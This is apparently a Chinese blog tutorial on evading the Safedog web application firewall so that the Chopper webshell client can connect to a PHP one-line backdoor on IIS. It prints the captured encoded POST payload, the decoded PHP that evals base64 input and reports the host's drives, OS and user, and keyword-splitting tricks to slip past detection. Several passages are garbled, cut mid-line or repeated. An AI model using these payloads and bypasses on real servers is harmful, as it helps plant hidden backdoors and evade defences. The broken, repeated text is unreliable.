菜刀过掉安全狗的姿势！！！

声明：本实验测试只用于虚拟环境教学，不能用于实际中。

简单的分析一下安全狗对菜刀的拦截和突破。。。

没有什么技术含量。。。。大牛勿喷。。。

测试坏境 IIS6.0 + PHP + 安全狗IIS版V3.1

安全狗设置都是默认的。。没有经过任何更改。。。

因为本?看过一点韩老师的PHP视频 ,所以就先从php一句话开始吧。。。。

传统php一句话

这个已经杀的不能再杀了。。。。

但是。。。

看出什么来了吗？？

很明显狗狗是把POST当做关键字，只要我们把POST拆分一下。。狗狗一下子就乖了很多

看到这里我想神马变异一句话什么的都很容易写出了吧

这里就留给大家一个实战的机会各位童鞋自行编写一句话吧。。。。

OK，web端已经搞定了

接下来用菜刀连接看看。。

ST['x']);?>

这个已经杀的不能再杀了。。。。

可以看到用菜刀连接时会提示403

那么问题会出在哪里呢？

聪明的童鞋肯定已经想到了，没错POST数据包。。。狗狗拦截了我们的数据包

那我们先来看看菜刀发的数据包吧。。。

怎么看呢。。。。。废话肯定是burp咯

接下来用菜刀连接看看。。

ST['x']);?>

这个已经杀的不能再杀了。。。。

好像图片有点看不清楚哈

我就贴出来吧

x=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

很明显，加密了不过明眼人都看的出来很简单的加密先URL在base64

好了解密后就是这个了

x=@assert(base64_decode($_REQUEST[z0]));&z0=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

好长啊。。。。。。。。。。在这些代码里狗狗又会拦截哪些关键字呢。。。

我第一个想到的就是和一句话一样的关键字

POST

x=@eval(base64_decode($_POST[z0]))

可以看到开头就有POST关键字

试着修改一下x=@eval(base64_decode($_REQUEST[z0]))

很不幸。。。V3.1已经和谐了我记得V3.0这样还是可以过的。。

既然不是POST关键字

那么我们写一个php页面来逐一判断狗狗把关键字该成什么了

z0.php页面代码如下

$x="%40eval%28%2F%2A012345%2A%2Fbase64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D";

eval(base64_decode($x));uPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

狗狗还是拦截

();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

好长啊。。。。。。。。。。在这些代码里狗狗又会拦截哪些关键字呢。。。

我第一个想到的就是和一句话一样的关键字

POST

x=@eval(base64_decode($_POST[z0]))

可以看到开头就有POST关键字

试着修改一下x=@eval(base64_decode($_REQUEST[z0]))